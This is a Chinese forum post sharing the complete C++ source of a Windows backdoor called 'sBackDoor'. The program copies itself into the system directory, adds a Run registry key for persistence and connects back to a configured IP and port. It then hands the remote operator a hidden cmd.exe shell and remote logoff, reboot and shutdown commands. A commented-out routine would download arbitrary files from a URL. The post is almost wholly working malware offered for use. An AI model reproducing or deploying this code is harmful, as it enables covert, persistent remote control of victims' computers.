本帖最后由 海默 于 2012-2-13 12:34 编辑
不算原创,但自己也修改了不少,跟大家交流学习了。
// sBackDoor.cpp : Defines the entry point for the application.
/*
author:海默
email:[email protected]
*/
#include "stdafx.h"
#include "sBackDoor.h"
BOOL bExit =FALSE;
#define REMOTE_PORT 9056 //--本机监听的端口
#define REMOTE_IP _T("127.0.0.1") //--本机的IP
#define RECV_BUF_LEN 4096
#define CMD_BUF_LEN 500
#define CMD_SHOW_FLAG _T("Door>")
#define CMD_SHELL_FLAG _T("Door>CmdShell>")
#define SEND_FLAG(sock, CMD_SHOW_FLAG) (SendData(sock, CMD_SHOW_FLAG, sizeof(CMD_SHOW_FLAG)))
TCHAR *HelpInfo[]={
"----------------welcome to haimo back door----------------\n",
"help\t\t-print the help info\n",
"cmd\t\t-into the cmdshell\n",
"exit\t\t-exit the cmdshell\n",
"logoff\t\t-logoff the computer\n",
"reboot\t\t-reboot the computer\n",
"shutdown\t-shutdown the computer\n",
"bye\t\t-exit the back door\n",
"----------------welcome to haimo back door----------------\n",
NULL};
BOOL SocketInit()
{
WSADATA wsaData={0};
if (WSAStartup(MAKEWORD(2,2),&wsaData)==NO_ERROR){
return TRUE;
}else{
return FALSE;
}
}
int SendData(SOCKET s,void *pBuf,DWORD dwBuflen)
{
if (s ==INVALID_SOCKET || !pBuf || dwBuflen <=0){
return -1;
}
int iCurSend=0,offset =0;
do
{
iCurSend =send(s, (char*)pBuf+offset, dwBuflen, 0);
if (iCurSend <=0)
{
break;
}
dwBuflen -=iCurSend;
offset +=iCurSend;
} while (dwBuflen>0);
return offset;
}
void SendHelpInfo(SOCKET s)
{
char **info=HelpInfo;
while(*info != NULL)
{
SendData(s,*info,_tcslen(*info));
info++;
}
}
DWORD WINAPI ThreadOutputProc(LPVOID lpParam)
{
CThreadNode tNode =(CThreadNode)lpParam;
char szBuf[RECV_BUF_LEN]={0};
DWORD dwReadLen =0, dwTotalAvail =0;
BOOL bRet =FALSE;
while(!bExit){
dwTotalAvail =0;
bRet =PeekNamedPipe(tNode.hPipe,NULL,0,NULL,&dwTotalAvail,NULL);
if (bRet && dwTotalAvail>0)
{
bRet =ReadFile(tNode.hPipe,szBuf,RECV_BUF_LEN,&dwReadLen,NULL);
if (bRet && dwReadLen >0)
{
SendData(tNode.m_socket,szBuf,dwReadLen);
}
}
Sleep(50);
}
return TRUE;
}
BOOL GetCmdString(SOCKET s, LPTSTR lpszCmdBuf)
{
if ( s == INVALID_SOCKET || !lpszCmdBuf ) {
return FALSE;
}
int iRet = 0;
TCHAR sztBuf[2] = {0}, szCmdBuf[CMD_BUF_LEN] = {0};
while ( TRUE ) {
iRet = recv(s, sztBuf, 1, 0);
if(iRet ==0 || iRet == SOCKET_ERROR) {
return FALSE;
}
if( sztBuf[0] != '\r' && sztBuf[0] != '\n' ) {
_tcscat_s(szCmdBuf, CMD_BUF_LEN, sztBuf);
}else{
break;
}
Sleep(50);
}
if ( _tcslen(szCmdBuf) > 0 ) {
_tcscpy_s(lpszCmdBuf, CMD_BUF_LEN, szCmdBuf);
}
return TRUE;
}
DWORD WINAPI CmdShellProc(LPVOID lpParam)
{
SOCKET sock = (SOCKET)lpParam;
TCHAR szCmdBuf[CMD_BUF_LEN] = {0}, szCmdLine[CMD_BUF_LEN] = {0};
SECURITY_ATTRIBUTES sa = {0};
HANDLE hReadPipe = NULL, hWritePipe = NULL;
sa.nLength = sizeof(SECURITY_ATTRIBUTES);
sa.lpSecurityDescriptor = NULL;
sa.bInheritHandle = TRUE;
if ( !CreatePipe(&hReadPipe, &hWritePipe, &sa, 0) ) {
return 0;
}
DWORD dwThreadID = 0;
PROCESS_INFORMATION pi = {0};
STARTUPINFO si = {0};
si.cb = sizeof(STARTUPINFO);
GetStartupInfo(&si);
si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
si.hStdOutput = si.hStdError = hWritePipe;
si.wShowWindow = SW_HIDE;
CThreadNode m_ReadNode;
m_ReadNode.m_socket = sock;
m_ReadNode.hPipe = hReadPipe;
SEND_FLAG(sock, CMD_SHELL_FLAG);
HANDLE hThread = CreateThread(NULL, 0, ThreadOutputProc, &m_ReadNode, 0, &dwThreadID);
while( GetCmdString(sock, szCmdBuf) ) {
if ( _tcslen(szCmdBuf) > 0 ) {
if ( _tcsicmp(szCmdBuf, _T("exit")) == 0 ) {
break;
}
ZeroMemory(szCmdLine, CMD_BUF_LEN);
GetSystemDirectory(szCmdLine, CMD_BUF_LEN);
_tcscat_s(szCmdLine, CMD_BUF_LEN, _T("\\cmd.exe /c "));
_tcscat_s(szCmdLine, CMD_BUF_LEN, szCmdBuf);
CreateProcess(NULL, szCmdLine, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);
WaitForSingleObject(pi.hProcess, INFINITE);
}
Sleep(50);
SEND_FLAG(sock, CMD_SHELL_FLAG);
}
bExit = TRUE;
WaitForSingleObject(hThread, INFINITE);
bExit = FALSE;
return 1;
}
BOOL EnableShutDownPriv()
{
HANDLE hToken = NULL;
TOKEN_PRIVILEGES tkp = {0};
if ( !OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) ) {
return FALSE;
}
if ( !LookupPrivilegeValue( NULL, SE_SHUTDOWN_NAME, &tkp.Privileges[0].Luid ) ) {
CloseHandle( hToken );
return FALSE;
}
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if ( !AdjustTokenPrivileges( hToken, FALSE, &tkp, sizeof(TOKEN_PRIVILEGES), NULL, NULL ) ) {
CloseHandle( hToken );
return FALSE;
}
return TRUE;
}
BOOL ReSetWindows(DWORD dwFlags, BOOL bForce)
{
if ( dwFlags != EWX_LOGOFF && dwFlags != EWX_REBOOT && dwFlags != EWX_SHUTDOWN ) {
return FALSE;
}
OSVERSIONINFO osvi = {0};
osvi.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
if ( !GetVersionEx(&osvi) ) {
return FALSE;
}
if ( osvi.dwPlatformId == VER_PLATFORM_WIN32_NT ) {
EnableShutDownPriv();
}
dwFlags |= (bForce != FALSE) ? EWX_FORCE : EWX_FORCEIFHUNG;
return ExitWindowsEx(dwFlags, 0);
}
BOOL CheckFileExist(LPCTSTR lpszPath)
{
if ( GetFileAttributes(lpszPath) == INVALID_FILE_ATTRIBUTES && GetLastError() == ERROR_FILE_NOT_FOUND ) {
return FALSE;
}else{
return TRUE;
}
}
// BOOL DownFileFunc(SOCKET s)
// {
// if ( s == INVALID_SOCKET || s == SOCKET_ERROR ) {
// return FALSE;
// }
// BOOL bRet = TRUE;
// TCHAR szDstUrl[CMD_BUF_LEN] = {0}, szDstPath[CMD_BUF_LEN] = {0};
// if ( SendData(s, _T("please input the url of the file to download:"), _tcslen(_T("please input the url of the file to download:"))) > 0 && GetCmdString(s, szDstUrl)) {
// if ( SendData(s, _T("please input the path of the file to save:"), _tcslen(_T("please input the path of the file to save:"))) > 0 && GetCmdString(s, szDstPath) ) {
// while ( CheckFileExist(szDstPath) ) {
// SendData(s, _T("the file is already exist,input again:"), _tcslen(_T("the file is already exist,input again:")));
// GetCmdString(s, szDstPath);
// }
// SendData(s, _T("downloading...,please wait…\r\n"), _tcslen(_T("downloading...,please wait…\r\n")));
// HRESULT hr = URLDownloadToFile(NULL, szDstUrl, szDstPath, 0, NULL);
// if ( hr == S_OK ) {
// if ( CheckFileExist(szDstPath) ) {
// SendData(s, _T("download success!\r\n"), _tcslen(_T("download success!\r\n")));
// }else{
// SendData(s, _T("download success,but it isn't exist,it may has been killed!\r\n"), _tcslen(_T("download success,but it isn't exist,it may has been killed!\r\n")));
// }
// }else if ( hr == INET_E_DOWNLOAD_FAILURE ) {
// SendData(s, _T("the url is wrong,download failed!\r\n"), _tcslen(_T("the url is wrong,download failed!\r\n")));
// bRet = FALSE;
// }else{
// SendData(s, _T("download failed,please check the url!\r\n"), _tcslen(_T("download failed,please check the url!\r\n")));
// bRet = FALSE;
// }
// }
// }
// return bRet;
// }
DWORD WINAPI WorkThread(LPVOID lpParam)
{
SOCKET s=(SOCKET)lpParam;
int iRet = 0;
BOOL bQuit=FALSE;
TCHAR sztBuf[2] = {0}, szCmdBuf[CMD_BUF_LEN] = {0};
SEND_FLAG(s, CMD_SHOW_FLAG);
while ( GetCmdString(s, szCmdBuf) && !bQuit) {
if ( _tcslen(szCmdBuf) > 0 ) {
if ( _tcsicmp(szCmdBuf, _T("cmd")) == 0 ) {
//Start the cmd shell;
DWORD dwThreadId = 0;
HANDLE hThread = CreateThread(NULL, 0, CmdShellProc, (LPVOID)s, 0, &dwThreadId);
WaitForSingleObject(hThread, INFINITE);
}else if ( _tcsicmp(szCmdBuf, _T("logoff")) == 0 ) {
ReSetWindows(EWX_LOGOFF, FALSE);
}else if ( _tcsicmp(szCmdBuf, _T("reboot")) == 0 ) {
ReSetWindows(EWX_REBOOT, FALSE);
}else if ( _tcsicmp(szCmdBuf, _T("shutdown")) == 0 ) {
ReSetWindows(EWX_SHUTDOWN, FALSE);
}else if ( _tcsicmp(szCmdBuf, _T("help")) == 0){
SendHelpInfo(s);
}else if ( _tcsicmp(szCmdBuf, _T("bye")) == 0)
{
SendData(s,"bye bye!",_tcslen("bye bye!"));
bQuit =TRUE;
break;
}else{
SendData(s,"bad command! input 'help' get help information\n",_tcslen("bad command! input 'help' get help information\n"));
}
}
SEND_FLAG(s, CMD_SHOW_FLAG);
}
closesocket(s);
return 0;
}
BOOL AutoRunWithReg()
{
BOOL bRet = TRUE;
HKEY hKey = NULL;
TCHAR szPath[MAX_PATH] = {0};
TCHAR szSysPath[MAX_PATH]={0};
TCHAR szSubKey = _T("Software\Microsoft\Windows\CurrentVersion\Run");
GetModuleFileName(NULL, szPath, MAX_PATH);
GetSystemDirectory(szSysPath,MAX_PATH);
_tcscat_s(szSysPath,"\hmDoor.exe");
CopyFile(szPath,szSysPath,FALSE);
LONG lRet = RegOpenKeyEx(HKEY_CURRENT_USER, szSubKey, 0, KEY_ALL_ACCESS, &hKey);
if ( lRet != ERROR_SUCCESS ) {
bRet = FALSE;
goto __Error_End;
}
lRet = RegSetValueEx(hKey, _T("hmDoor"), 0, REG_SZ, (BYTE *)szSysPath, sizeof(szSysPath));
if ( lRet != ERROR_SUCCESS ) {
bRet = FALSE;
}
__Error_End:
if ( hKey ) {
RegCloseKey(hKey);
}
return bRet;
}
int APIENTRY _tWinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPTSTR lpCmdLine,
int nCmdShow)
{
AutoRunWithReg();
if ( !SocketInit() ) {
return FALSE;
}
sockaddr_in sServer = {0};
sServer.sin_family = AF_INET;
sServer.sin_addr.s_addr = inet_addr(REMOTE_IP);
sServer.sin_port = htons(REMOTE_PORT);
int iRet = 0;
while (TRUE)
{
SOCKET connSock= socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if ( connSock == INVALID_SOCKET ) {
continue;
}
iRet = connect(connSock, (sockaddr*)&sServer, sizeof(sServer));
if (0 == iRet )
{
DWORD dwThreadId;
HANDLE hThread =CreateThread(NULL,0,WorkThread,(LPVOID)connSock,0,&dwThreadId);
if (hThread){
CloseHandle(hThread);
}
}
Sleep(50);
}
WSACleanup();
return 0;
}